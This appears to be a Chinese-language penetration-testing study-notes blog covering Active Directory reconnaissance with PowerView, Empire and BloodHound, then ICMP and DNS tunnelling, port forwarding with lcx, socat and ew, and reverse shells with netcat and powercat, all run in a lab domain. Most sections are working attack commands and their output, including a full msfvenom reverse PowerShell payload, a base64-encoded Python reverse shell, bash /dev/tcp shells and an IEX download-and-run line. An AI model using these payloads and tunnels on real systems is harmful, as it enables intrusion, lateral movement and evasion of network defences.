          PS C:Usersdaniel10> Import-Module PowerViewPS C:Usersdaniel10> Get-Command -Module PowerViewCommandType     Name                                               Version    Source-----------     ----                                               -------    ------Alias           Find-UserTrustGroup                                1.0        PowerViewAlias           Get-ComputerProperties                             1.0        PowerView……內容較多故省略……

          PowerView 腳本下載地址:https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView

          注:在打開上面的下載地址時會看到該項目已被轉移到其他項目下,但是當我在使用新版本的 PowerView 腳本時,發現找不到Invoke-StealthUserHunter命令,而舊版本的 PowerView 有Invoke-StealthUserHunter命令

          Invoke-StealthUserHunter:只需要進行一次查詢,就可以獲取域里面的所有用戶。其原理為:從user.HomeDirectories中提取所有用戶,并對每個服務器進行Get-NetSession獲取。因不需要使用Invoke-UserHunter對每臺機器進行操作,所以這個方法的隱蔽性相對較高(但涉及的機器不一定全面)。PowerView 默認使用Invoke-StealthUserHunter如果找不到需要的信息,就會使用Invoke-UserHunter.

          Invoke-UserHunter:找到域內特定的用戶群,接受用戶名、用戶列表和域組查詢,接收一個主機列表或查詢可用的主機域名。使用Get-NetSessionGet-NetLoggedon(調用 NetSessionEnum 和 NetWkstaUserEnumAPI )掃描每臺服務器并對掃描結果進行比較,從而找出目標用戶集,在使用時不需要管理員權限。

          PS C:Usersdaniel10> Invoke-UserHunterUserDomain   : TEAMSSIXUserName     : AdministratorComputerName : dc.teamssix.comIP           : 192.168.7.7SessionFrom  :LocalAdmin   :UserDomain   : TEAMSSIXUserName     : daniel10ComputerName : daniel10.teamssix.comIP           : 192.168.7.110SessionFrom  :LocalAdmin   :UserDomain   : TEAMSSIXUserName     : AdministratorComputerName : daniel7.teamssix.comIP           : 192.168.7.107SessionFrom  :LocalAdmin   :

          PowerView 中的其他信息收集模塊:

          • Get-NetDomain:獲取當前用戶所在域名稱
          • Get-NetUser:獲取所有用戶的詳細信息
          • Get-NetDomainController:獲取所有域控制器的信息
          • Get-NetComputer:獲取域內所有機器的詳細信息
          • Get-NetOU:獲取域中的OU信息
          • Get-NetGroup:獲取所有域內組和組成員信息
          • Get-NetFileServer:根據SPN獲取當前域使用的文件服務器信息
          • Get-NetShare:獲取當前域內所有的網絡共享信息
          • Get-NetSession:獲取指定服務器的會話
          • Get-NetRDPSession:獲取指定服務器的遠程連接
          • Get-NetProcess:獲取遠程主機的進程
          • Get-UserEvent:獲取指定用戶的日志
          • Get-ADObject:獲取活動目錄的對象
          • Get-NetGPO:獲取域內所有組的策略對象
          • Get-DomainPolicy:獲取域默認策略或域控制器策略
          • Invoke-UserHunter:獲取域用戶登陸的計算機信息及該用戶是否有本地管理員權限
          • Invoke-ProcessHunter:通過查詢域內所有的機器進程找到特定用戶
          • Invoke-UserEventHunter:根據用戶日志查詢某域用戶登陸過哪些域機器

          Empire

          Empire中的user_hunter模塊用于查找域管理員登陸的機器,使用 powershell/situational_awareness/network/powerview/user_hunter 模塊,可查看哪個用戶登陸哪臺主機。

          (Empire: listeners) > agents[*] Active agents: Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen ----     -- -----------     ------------      --------                -------            ---    -----    --------- 3XRCWAB2 ps 192.168.7.7     DC                *TEAMSSIXadministrator powershell         2256   5/0.0    2021-02-22 20:39:54(Empire: agents) > usemodule powershell/powershell/situational_awareness/network/powerview/user_hunter(Empire: powershell/situational_awareness/network/powerview/user_hunter) > set Agent 3XRCWAB2(Empire: powershell/situational_awareness/network/powerview/user_hunter) > execute[*] Tasked 3XRCWAB2 to run TASK_CMD_JOB[*] Agent 3XRCWAB2 tasked with task ID 1[*] Tasked agent 3XRCWAB2 to run module powershell/situational_awareness/network/powerview/user_hunter[*] Valid results returned by 192.168.7.7……

          6、查找域管理員進程

          獲取域管理員列表

          net group "Domain Admins" /domain
          C:Usersdaniel10>net group "Domain Admins" /domain這項請求將在域 teamssix.com 的域控制器處理。組名     Domain Admins注釋     指定的域管理員成員-------------------------------------------------------------------------------Administrator命令成功完成。

          列出本機的所有進程及進程用戶

          tasklist /v
          C:Usersdaniel10>tasklist /v映像名稱                       PID 會話名              會話#       內存使用  狀態            用戶名                                                 CPU 時間 窗口標題========================= ======== ================ =========== ============ =============== ================================================== ============ ========================================================================System Idle Process              0 Services                   0          8 K Unknown         NT AUTHORITYSYSTEM                                    68:35:16 暫缺System                           4 Services                   0        924 K Unknown         暫缺                                                    0:24:14 暫缺svchost.exe                   9228 Console                    2      2,932 K Unknown         TEAMSSIXdaniel10                                       0:00:00 暫缺tasklist.exe                 10768 Console                    2      9,540 K Unknown         TEAMSSIXdaniel10                                       0:00:00 暫缺……內容過多省略……

          如果在列出的進程中看到了用戶名為管理員用戶名的話,便是找到了域管理員進程。

          0x05 BloodHound 的使用

          1、介紹

          BloodHound 使用可視化圖形顯示域環境中的關系,攻擊者可以使用 BloodHound 識別高度復雜的攻擊路徑,防御者可以使用 BloodHound 來識別和防御那些相同的攻擊路徑。藍隊和紅隊都可以使用 BloodHound 輕松深入域環境中的權限關系。

          BloodHound 通過在域內導出相關信息,在將數據收集后,將其導入Neo4j 數據庫中,進行展示分析。因此在安裝 BloodHound 時,需要安裝 Neo4j 數據庫。

          2、安裝

          因為 Neo4j 數據庫需要 Java 支持,因此安裝 BloodHound 需要先安裝 Java,這里以 Windows 系統下的安裝為例。

          Java

          JDK 需要下載最新版本,不然 Neo4j 運行可能會報錯,JDK 下載地址:https://www.oracle.com/java/technologies/javase-downloads.html,下載之后,直接安裝即可。

          Neo4j

          Neo4j 直接下載最新版本,下載地址:https://neo4j.com/download-center/#community

          下載最新版本之后解壓下載文件,打開 bin 目錄,執行命令neo4j.bat console,之后打開瀏覽器訪問 http://localhost:7474 登陸后臺,輸入以下信息連接到數據庫說明安裝就完成了。

          URL:neo4j://localhost:7687用戶名(默認):neo4j密碼(默認):neo4j

          BloodHound

          BloodHound 項目地址:https://github.com/BloodHoundAD/BloodHound,下載后解壓打開 BloodHound.exe,輸入 Neo4j 數據庫的賬號密碼即可完成安裝。

          3、使用

          安裝完成 BloodHound 后,需要進行數據的采集與導入,數據的采集可以使用 ps1 腳本或者使用 exe 程序收集,工具下載地址:https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors

          這里使用 SharpHound.exe 進行數據的采集,將 SharpHound.exe 拷貝到目標上,執行 SharpHound.exe -c all 進行數據采集。

          C:Usersdaniel10>SharpHound.exe -c all---------------------------------------------Initializing SharpHound at 22:36 on 2021/2/25---------------------------------------------Resolved Collection Methods: Group, Sessions, LoggedOn, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container[+] Creating Schema map for domain TEAMSSIX.COM using path CN=Schema,CN=Configuration,DC=teamssix,DC=com[+] Cache File Found! Loaded 1332 Objects in cache[+] Pre-populating Domain Controller SIDSStatus: 0 objects finished (+0) -- Using 24 MB RAMStatus: 673 objects finished (+673 134.6)/s -- Using 43 MB RAMEnumeration finished in 00:00:05.3136324Compressing data to .20210225223622_BloodHound.zipYou can upload this file directly to the UISharpHound Enumeration Completed at 22:36 on 2021/2/25! Happy Graphing!

          如果使用 ps1 腳本收集,命令為:

          powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all"

          采集到的數據會以 zip 壓縮包的格式保存,將其拷貝到 BloodHound 所在主機上,在 BloodHound 右側圖標里點擊 Upload Data,之后上傳剛才生成的壓縮包就可以導入數據了。

          或者直接將 zip 壓縮包拖拽到 BloodHound 里也可以導入數據。

          在 BloodHound 右上角有三個板塊:

          1、Database Info(數據庫信息),可以查看當前數據庫中的域用戶、域計算機等統計信息。

          2、Node Indo(節點信息),單擊某個節點時,在這里可以看到對應節點的相關信息。

          3、Analysis(分析查詢),在 BloodHound 中預設了一些查詢條件,具體如下:

          1、查詢所有域管理員2、尋找到域管理員的最短路徑3、查找具有DCSync權限的主體4、具有外部域組成員資格的用戶5、具有外部域名組成員資格的組6、映射域信任7、到無約束委托系統的最短路徑8、到達Kerberoastable用戶的最短路徑9、從Kerberoastable用戶到域管理員的最短路徑10、擁有的主體的最短路徑11、從擁有的主體到域管理員的最短路徑12、到高價值目標的最短路徑13、查找域用戶是本地管理員的計算機14、查找域用戶可以讀取密碼的計算機15、從域用戶到高價值目標的最短路徑16、找到從域用戶到高價值目標的所有路徑17、找到域用戶可以RDP的工作站18、找到域用戶可以RDP的服務器19、查找域用戶組的危險權限20、找到高價值群體中能夠支持kerberoable的成員21、列出所有kerberoable用戶22、查找具有大多數特權的Kerberoastable用戶23、查找到非域控制器的域管理登錄24、查找不支持操作系統的計算機25、查找AS-REP Roastable用戶(DontReqPreAuth)

          比如這里查詢到域管理員的最短路徑

          路徑由粗到細表示xx對xx有權限或關系

          總的來說感覺 BloodHound 還是挺有意思的,可以很直觀的看到域內主機間的關系。不過畢竟是輔助工具,還是需要不斷提升自己的實力、經驗才能更好的去分析這樣的一個結果才是。

          0x06 ICMP 隧道工具使用

          1、介紹

          在內網中,如果攻擊者使用 HTTP、DNS 等應用層隧道都失敗了,那么或許可以試試網絡層的 ICMP 隧道,ICMP 協議最常見的場景就是使用 ping 命令,而且一般防火墻都不會禁止 ping 數據包。

          因此我們便可以將 TCP/UDP 數據封裝到 ICMP 的 ping 數據包中,從而繞過防火墻的限制。

          2、建立 ICMP 隧道工具

          用于建立 ICMP 隧道的工具常見有:ptunnel、icmpsh、icmptunnel 等

          ptunnel

          ptunnel 全稱 PingTunnel,Kali 下自帶該工具,Linux 下安裝過程如下:

          yum -y install byaccyum -y install flex bison#安裝libpcap依賴庫wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gztar -xzvf libpcap-1.9.0.tar.gzcd libpcap-1.9.0./configuremake && make install#安裝PingTunnelwget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gztar -xzvf PingTunnel-0.72.tar.gzcd PingTunnelmake && make install

          ptunnel 常用命令介紹:

          -p: 指定跳板服務器 IP 地址-lp: 監聽本地 TCP 端口-da: 指定訪問目標的內網 IP 地址-dp: 指定訪問目標的端口-m: 設置隧道最大并發數-v: 輸入內容詳細級別(-1到4,其中-1為無輸出,4為全部輸出)-udp: 切換使用UDP代替ICMP,代理將監聽端口53(必須是 root 權限)-x: 設置隧道密碼,防止濫用(客戶端和代理端必須相同)

          目前有這樣的一個場景,當前已經拿下了一臺外網 Web Linux 服務器,想通過它利用 ICMP 協議連接內網的一臺已經開啟遠程桌面的 Windows ,網絡結構簡化如下。

          Kali 攻擊機       172.16.214.6 (外網)||Linux Web 跳板機  172.16.214.5  (外網)|                192.168.7.5   (內網)||Win RDP 目標機    192.168.7.110 (內網)

          在 Kali 攻擊機上執行以下命令

          ptunnel -p 172.16.214.5 -lp 1080 -da 192.168.7.110 -dp 3389 -x teamssix
          -p  指定跳板機外網ip-lp 指定本機的監聽端口-da 指定目標機的內網ip-dp 指定目標機的端口-x 設置隧道密碼

          在 Linux Web 跳板機上執行以下命令

          ptunnel -x teamssix

          之后訪問 Kali 攻擊機 172.16.214.6 的 1080 端口就會連接到 Win RDP 目標機 192.168.7.110 的 3389 端口了,不過實測發現這種方法有些不穩定。

          icmpsh

          icmpsh 使用很簡單,直接在 github 上下載,運行時不需要管理員權限,但是在使用時需要關閉本地系統的 ICMP 應答,不然 shell 的運行會不穩定。

          git clone https://github.com/inquisb/icmpsh.git #下載工具apt-get install python-impacket # 安裝依賴,或者 pip2 install impacketsysctl -w net.ipv4.icmp_echo_ignore_all=1  #關閉本地ICMP應答

          icmpsh 常用命令介紹:

          -t host            發送ping請求的主機ip地址,即攻擊機的IP [該命令必須存在]-d milliseconds    請求時間間隔(毫秒)-o milliseconds    響應超時時間(毫秒)-s bytes           最大數據緩沖區大小(字節)

          目前有這樣的一個場景,攻擊機能通過 ICMP 協議訪問到目標主機,但是目標上有防火墻,拒絕了敏感端口比如 22、3389 端口的訪問,這個時候可以使用 icmpsh 利用 ICMP 協議建立反向 shell

          攻擊機 IP:172.16.214.6目標機 IP:172.16.214.2

          在攻擊機上運行:

          python2 icmpsh_m.py 172.16.214.6 172.16.214.2

          在目標機上運行

          ./icmpsh.exe -t 172.16.214.6

          此時在攻擊機上可以看到通過 icmp 協議建立的 shell

          icmptunnel

          icmptunnel 的優勢在于可以穿過狀態防火墻或 NAT,同樣在 github 上進行下載,值得注意的是該工具只有 Linux 版。

          git clone https://github.com/jamesbarlow/icmptunnel.gitcd icmptunnelmake

          目前有這樣的一個場景,攻擊者為 Linux,但由于目標存在狀態防火墻或者使用了 NAT 導致無法獲得 shell,此時可以通過 icmptunnel 繞過限制。

          攻擊機 IP:172.16.214.6目標機 IP:172.16.214.5

          在攻擊機上運行:

          echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all        # 禁用 ICMP echo 回復,防止內核自己對ping包進行響應./icmptunnel -s    # 開啟服務端模式

          在攻擊機上新開啟一個終端運行:

          /sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0    # 指定一個網卡tun0,用于給隧道服務器端分配一個IP地址 (10.0.0.1)

          在目標機上運行:

          echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all./icmptunnel 172.16.214.6

          在目標機上新開啟一個終端運行:

          /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0    # 指定一個網卡tun0,用于給隧道服務器端分配一個IP地址 (10.0.0.2)

          至此,已經通過 ICMP 建立了一個點對點隧道。

          在攻擊機上,嘗試通過 ssh 進行連接,可以看到通過剛才建立的隧道成功連接到目標機。

          ssh root@10.0.0.2

          0x07 lcx、netcat 和 socat 的使用

          1、lcx 使用

          lcx 分為 Windows 版和 Linux 版,Linux 版叫 portmap

          Windows

          內網失陷主機lcx.exe -slave rhost rport lhost lport公網代理主機lcx.exe -listen lport1 lport2
          內網失陷主機lcx.exe -slave 123.123.123.123 4444 127.0.0.1 3389公網代理主機lcx.exe -listen 4444 5555

          在建立連接后,訪問公網代理主機的 5555 端口就能訪問到內網失陷主機的 3389 端口了。

          • 本地端口映射

          如果目標主機不能出網,這時可以利用內網中能夠出網的主機,將其不能出網的主機端口映射到自身上,再借助端口轉發到公網進行訪問。

          lcx.exe -tran 53 <目標主機 IP 地址> 3389

          Linux

          • 內網端口轉發
          內網失陷主機./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 <公網主機 IP> -p2 4444公網代理主機./portmap -m 2 -p1 4444 -h2 <公網主機 IP> -p2 5555

          此時訪問公網主機 IP 的 5555 端口,就會訪問到內網失陷主機的 22 端口了。

          2、netcat 使用

          nc 下載地址:https://eternallybored.org/misc/netcat/

          nc 全稱 netcat,它的功能很多,這里簡單記錄下兩個常用的功能,其他的比如文件傳輸、端口掃描等等的就不介紹了,畢竟平時使用頻率有一說一還是比較少的。

          -l 開啟監聽狀態-v 顯示詳細信息-p 指定監聽的本地端口-k 客戶端斷掉連接時,服務端依然保持運行-e 將傳入的信息以命令執行-n 直接使用 IP 地址,不進行 dns 解析過程

          獲取 banner 信息

          個人覺著最常用的功能,這個不僅可以用來查看 banner 信息,還能用來判斷端口是否開放。

          nc -vv rhost rport
          > nc -v 172.16.214.43 22Connection to 172.16.214.43 port 22 [tcp/ssh] succeeded!SSH-2.0-OpenSSH_8.4p1 Debian-3

          反彈shell

          個人覺著這個也是最常用的功能,可以使用 -e 指定 /bin/bash 進行反彈,也可以直接 -c 指定 bash 或者 cmd

          -e 指定反彈 shell

          # 失陷主機nc -lvp lport -e /bin/bash        # linux 主機nc -lvp lport -e c:windowssystem32cmd.exe     # windows 主機# 控制端nc rhost rport
          # 失陷主機> nc -lvp 4444 -e /bin/bashlistening on [any] 4444 ...172.16.214.1: inverse host lookup failed: Unknown hostconnect to [172.16.214.43] from (UNKNOWN) [172.16.214.1] 60628# 控制端> nc -v 172.16.214.43 4444Connection to 172.16.214.43 port 4444 [tcp/krb524] succeeded!whoamiroot

          -c 指定反彈 shell

          # 失陷主機nc -lvp lprot -c bash    # linux 主機nc -lvp lport -c cmd     # windows 主機# 控制端nc rhost rport
          # 失陷主機> nc -lvp 4444 -c bashlistening on [any] 4444 ...172.16.214.1: inverse host lookup failed: Unknown hostconnect to [172.16.214.43] from (UNKNOWN) [172.16.214.1] 60635# 控制端> nc -v 172.16.214.43 4444Connection to 172.16.214.43 port 4444 [tcp/krb524] succeeded!whoamiroot

          結合其他語言進行反彈 shell

          # 失陷主機bash -i >& /dev/tcp/rhost/rport 0>&1# 控制端nc -lvp lprot
          # 失陷主機> bash -i >& /dev/tcp/172.16.214.43/4444 0>&1# 控制端> nc -lp 4444root@ubuntu:~# whoamiwhoamiroot

          除了 bash 也可以使用其他的語言進行反彈 shell,這里可以使用 msfvenom 生成反彈 shell,操作起來比較方便,使用 msfvenom -l payload | grep "cmd/"可查看可使用的 payload

          比如使用 cmd/windows/reverse_powershell 這個 payload

          # 控制端> msfvenom -p cmd/windows/reverse_powershell lhost=172.16.214.43 lport=4444[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload[-] No arch selected, selecting arch: cmd from the payloadNo encoder specified, outputting raw payloadPayload size: 1586 bytespowershell -w hidden -nop -c $a='172.16.214.43';$b=4444;$c=New-Object system.net.sockets.tcpclient;$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$ob=New-Object System.Byte[] 65536;$eb=New-Object System.Byte[] 65536;$e=new-object System.Text.UTF8Encoding;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.RedirectStandardError=1;$p.StartInfo.UseShellExecute=0;$q=$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;$es=$p.StandardError;$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);$c.connect($a,$b);$s=$c.GetStream();while ($true) {    start-sleep -m 100;    if ($osread.IsCompleted -and $osread.Result -ne 0) {      $r=$os.BaseStream.EndRead($osread);      $s.Write($ob,0,$r);      $s.Flush();      $osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);    }    if ($esread.IsCompleted -and $esread.Result -ne 0) {      $r=$es.BaseStream.EndRead($esread);      $s.Write($eb,0,$r);      $s.Flush();      $esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);    }    if ($s.DataAvailable) {      $r=$s.Read($nb,0,$nb.Length);      if ($r -lt 1) {          break;      } else {          $str=$e.GetString($nb,0,$r);          $is.write($str);      }    }    if ($c.Connected -ne $true -or ($c.Client.Poll(1,[System.Net.Sockets.SelectMode]::SelectRead) -and $c.Client.Available -eq 0)) {        break;    }    if ($p.ExitCode -ne $null) {        break;    }}> nc -lvp 4444

          將生成的 payload 復制到失陷主機上運行,即可收到反彈回的 shell

          再比如使用 cmd/unix/reverse_python 這個payload

          # 控制端> msfvenom -p cmd/unix/reverse_python lhost=172.16.214.43 lport=4444[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload[-] No arch selected, selecting arch: cmd from the payloadNo encoder specified, outputting raw payloadPayload size: 505 bytespython -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgICwgc3VicHJvY2VzcyAgICwgb3M7ICAgICAgaG9zdD0iMTcyLjE2LjIxNC40MyI7ICAgICAgcG9ydD00NDQ0OyAgICAgIHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCAgICwgc29ja2V0LlNPQ0tfU1RSRUFNKTsgICAgICBzLmNvbm5lY3QoKGhvc3QgICAsIHBvcnQpKTsgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAsIDApOyAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICwgMSk7ICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgLCAyKTsgICAgICBwPXN1YnByb2Nlc3MuY2FsbCgiL2Jpbi9iYXNoIik=')[0]))"> nc -lvp 4444

          同樣將生成的 payload 復制到失陷主機上運行,即可收到反彈回來的 shell,當然前提是目標主機安裝了 python

          3、socat 使用

          socat 下載地址:http://www.dest-unreach.org/socat/,或者直接使用 apt-get install socat 安裝,Mac 可使用 brew install socat 安裝。

          socat 全稱 socket cat,可以視為 nc 的加強版,不過平時感覺 nc 也夠用了,但是 nc 現在貌似會被殺軟殺掉,而且貌似 nc 很久沒更新了,反正多掌握點知識沒壞處。

          文件操作

          讀取文件

          > socat - ./test.txt      # 相對路徑讀取test> socat - /tmp/test.txt    # 絕對路徑讀取test

          寫入文件

          > echo "hello world" | socat - ./test.txt> socat - ./test.txttesthello world

          網絡操作

          連接遠程端口

          > socat - TCP:172.16.214.1:22SSH-2.0-OpenSSH_7.4

          監聽端口

          socat - TCP-LISTEN:8002

          端口轉發

          轉發 TCP 端口

          個人覺著這個是比較常用到的功能,在使用 CS 做重定向器時,就可以使用 socat 進行端口的轉發。

          socat TCP4-LISTEN:80,fork TCP4:123.123.123.123:80

          這樣在訪問當前主機的 80 端口時,就會訪問到 123.123.123.123 的 80 端口了,也可以使用 -d 調整輸出信息的詳細程度,最多使用四個 d,推薦使用兩個,即 -dd

          socat -dd TCP4-LISTEN:80,fork TCP4:123.123.123.123:80

          轉發 UDP 端口

          和上面一樣,將 TCP 改成 UDP 即可

          socat UDP4-LISTEN:80,fork UDP4:123.123.123.123:80

          NAT 映射

          通過 socat 可以將內網端口映射到公網上,不過這種場景還是更推薦用 frp

          # 內網主機socat tcp:123.123.123.123:4444 tcp:127.0.0.1:3389# 公網主機socat tcp-listen:4444 tcp-listen:5555

          此時訪問公網主機的 5555 端口就可以訪問到內網主機的 3389 端口了

          考慮到 socat 的其他功能平時也很少使用到,這里就不過多介紹了,網上相關文章也有很多,在此就不贅述了。

          0x08 powercat 的使用

          1、下載安裝 powercat

          powercat 可以視為 nc 的 powershell 版本,因此也可以和 nc 進行連接。

          powercat 可在 github 進行下載,項目地址為:https://github.com/besimorhino/powercat

          下載下來 powercat.ps1 文件后,直接導入即可

           Import-Module .powercat.ps1

          如果提示未能加載指定模塊,則可能是權限問題,可以參照之前寫的 【內網學習筆記】2、PowerShell 文章中的方法對其賦予權限,即在管理員模式下運行以下命令

          Set-ExecutionPolicy Unrestricted

          之后就可以導入 powercat 了,導入成功后,輸入 powercat -h 可以看到幫助信息。

          如果沒有權限,也可以直接下載遠程文件進行繞過。

          IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

          不過由于 github 在國內可能會無法打開,因此可以使用 web 代理站點或者把 powercat.ps1 文件放到自己的服務器上進行下載。

          2、powercat 的使用

          powercat 命令參數

          -l        監聽模式-p        指定監聽端口-e        指定啟動進程的名稱-v        顯示詳情-c        指定想要連接的 IP 地址-ep        返回 powershell-dns    使用 dns 通信-g        生成 payload-ge        生成經過編碼的 payload,可以直接使用 powershell -e 執行該 payload

          可以看到和 nc 的命令還是很相似的。

          正向連接

          Kali 上的 nc 連接到靶機

          nc -v rhost rport
          nc -v 172.16.214.21 4444

          靶機開啟監聽,等待 Kali 連接

          powercat -l -v -p lport -e cmd.exe
          powercat -l -v -p 4444 -e cmd.exe

          反向連接

          Kali 上開啟監聽

          nc -lvp 4444

          靶機向 kali 發起連接

          powercat -c rhost -p rport -e cmd.exe
          powercat -c 172.16.214.46 -p 4444 -e cmd.exe

          返回 powershell

          攻擊機上運行

          powercat -l -v -p lport
          powercat -l -v -p 4444

          靶機上運行

          powercat -c rhost -p rport -v -ep
          powercat -c 172.16.214.21 -p 4444 -v -ep

          作為跳板使用

          測試環境為:

          kali            172.16.214.47windows7    172.16.214.2windows10    172.16.214.21

          將 win7 作為跳板機,讓 kali 通過 win7 連接到 windows10

          在 win10 中執行以下命令

          powercat -l -v -p 4444 -e cmd.exe

          在 win7 中執行以下命令

          powercat -l -v -p 5555 -r tcp:172.16.214.21:4444

          最后在 kali 下連接 win7

          nc -v 172.16.214.2 5555

          powercat 生成 payload

          在攻擊機上運行以下命令生成 shell.ps1 payload 文件

          powercat -l -p 4444 -e cmd -g > shell.ps1

          將 shell.ps1 文件拷貝到目標主機上后,執行 shell.ps1 文件

          之后在攻擊機上運行以下命令即可獲得 shell

          powercat -c rhost -p rport -v
          powercat -c 172.16.214.21 -p 4444 -v

          反向連接也可以

          在攻擊機上生成 ps1 文件,并開啟監聽

          powercat -c rhost -p rport -ep -g > shell.ps1
          powercat -c 172.16.214.2 -p 4444 -ep -g > shell.ps1
          powercat -l -p 4444 -v

          之后在靶機上,運行 ps1 文件就會上線了,如果不想生成文件,也可以使用 -ge 生成經過編碼的 payload

          在攻擊機上生成 payload,并開啟監聽

          powercat -c 172.16.214.2 -p 4444 -ep -ge
          powercat -l -p 4444 -v

          在靶機上執行剛生成的 payload

          powershell -e payload

          建立 dns 隧道連接

          powercat 的 dns 隧道是基于 dnscat 設計的,因此在服務端需要使用 dnscat 連接。

          在服務端上安裝 dnscat ,以 kali 為例

          git clone https://github.com/iagox86/dnscat2.gitcd dnscat2/server/gem install bundlerbundle install

          命令運行完之后,執行以下命令開啟服務端

          ruby dnscat2.rb powercat -e open --no-cache

          在靶機下,執行以下命令,建立 dns 隧道

          powercat -c 172.16.214.47 -p 53 -dns powercat -e cmd.exe

          此時,在 kali 上就能看到回連的會話了

          sessions                #    查看所有會話session -i 1         #    選擇指定的會話進行交互

          不過實測,雖然能返回會話,但不能執行命令,暫不清楚原因是什么。

          powercat 暫時就記錄這些,其他的比如文件傳輸什么的就不記了,畢竟使用頻率幾乎為零,平時使用最多的可能還是拿它來反彈 shell,不過為什么不用 CS 或者 MSF 呢,不更香嘛。

          0x09 iodine 使用

          1、介紹

          iodine 這個名字起的很有意思,iodine 翻譯過來就是碘,碘的原子序數為 53,53 也就是 DNS 服務對應的端口號。

          iodine 和 dnscat2 一樣,適合于其他請求方式被限制以至于只能發送 DNS 請求的環境中,iodine 同樣也是分成了直接轉發和中繼兩種模式。

          iodine 與 dnscat2 不同的在于 Iodine 服務端和客戶端都是用 C 語言開發,同時 iodine 的原理也有些不同,iodine 通過 TAP 在服務端和客戶端分別建立一個局域網和虛擬網卡,再通過 DNS 隧道進行連接,然后使其處在同一個局域網中。

          2、安裝

          首先需要有一個域名,并設置 NS 和 A 記錄,A 記錄指向自己的公網 VPS 地址,NS 記錄指向 A 記錄的子域名。

          Kali 下自帶 iodine ,Debian Linux 可以使用 apt 進行安裝

          sudo apt-get install iodine

          Windows 可以直接到官網下載,下載地址:https://code.kryo.se/iodine/,服務端名稱是 iodined.exe,客戶端是 iodine.exe

          3、使用

          這里服務端使用的是 Linux,服務端命令如下:

          sudo iodined -f -c -P teamssix 192.168.77.1 dc.teamssix.com -DD
           -f        在前臺運行 -c        不檢查傳入請求的客戶端 IP 地址 -P        客戶端與服務端之間的連接密碼 -D        調試級別,-D 表示第一級,-DD 表示第二級,依此類推 192.168.77.1 是自己自定義的局域網虛擬 IP 地址。

          這里客戶端使用的是 Windows,Windows 客戶端上除了要有 iodine 相關文件外,還需要安裝 tap 網卡驅動程序,這里我百度找了一個下載地址 http://www.qudong51.net/qudong/981.html

          打開下載好的 tap 網卡驅動程序,一直下一步下一步安裝就行。

          然后就可以啟動客戶端程序了,注意下載下來的 dll 文件要和 exe 在一個目錄下,不能只復制一個 exe 到目標主機上,而且要以管理員權限運行下面的命令。

          .iodine.exe -f -r -P teamssix dc.teamssix.com
          -r        iodine 有時會自動將 DNS 隧道切換成 UDP 通道,使用 -r 命令可以強制讓 iodine 在任何情況下都使用 DNS 隧道

          如果出現 Connection setup complete, transmitting data. 就表示 DNS 隧道就已經建立了。

          這時如果去 ping 服務端自定義的虛擬 IP 也是可以 ping 通的。

          假如這里內網機器分配到了 192.168.77.2 這個 IP ,因為處在一個局域網中,所以 VPS 直接訪問 192.168.77.2 的 3389、80 等端口就可以直接訪問到內網機器的相關端口了,同樣的內網主機也可以訪問 VPS 的 22 端口等等,至此便繞過了策略限制。

          0x10 ew 的使用

          1、Socks 代理工具介紹

          Socks 代理可以理解成升級版的 lcx,關于 lcx 的用法可以看我之前的文章:

          https://teamssix.com/year/210528-130449.html

          但是 lcx 畢竟年代久遠,現在的殺軟基本也都能識別到了,因此在實戰中不太推薦使用 lcx ,更推薦使用這些 socks 代理工具。

          常見的 socks 代理工具有 ew、termite、frp、nps、sSocks、reGeorg、Neo-reGeorg、SocksCap、Proxifier、ProxyChains 等等,不同的工具適合使用的場景和方法都有所不同。

          因為在這其中有些工具筆者較經常使用,所以這里主要記錄下 ew、frp、nps 的使用方法,本篇文章主要記錄 ew 的使用,后續文章將更新 frp、nps 的使用。

          開始之前,先理解下正向代理和反向代理的區別。

          正向代理:主動通過代理訪問目標主機,即攻擊主機 —》目標主機反向代理:目標機器通過代理進行主動連接,即目標主機 —》攻擊主機

          2、ew 的使用

          ew 的項目主頁:http://rootkiter.com/EarthWorm/

          ew 全稱 EarthWorm,直譯過來就是蚯蚓,引用作者的原話是:

          該工具能夠以“正向”、“反向”、“多級級聯”等方式打通一條網絡隧道,直達網絡深處,用蚯蚓獨有的手段突破網絡限制,給防火墻松土。

          這個描述也是很形象了。

          下載

          作者已經不提供 ew 的下載了,但是搜了一下 github 還是有其他人上傳的,不過病毒需自查。

          下載地址:https://github.com/idlefire/ew

          從這工具上傳的時間是 5 年前就可以看出這個工具很有年代感了。

          使用

          該工具共有 6 種命令格式 ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran,正向連接的命令是 ssocked,反向連接的命令是 rcsocks 和 rssocks,其他命令用于一些比較復雜的網絡環境中。

          a、正向連接

          正向連接需要目標主機有一個公網 IP,或者說攻擊主機能夠直接訪問到目標主機。

          命令也很簡單

          ew -s ssocksd -l 1080
           -s 設置狀態模式 -l 設置監聽端口
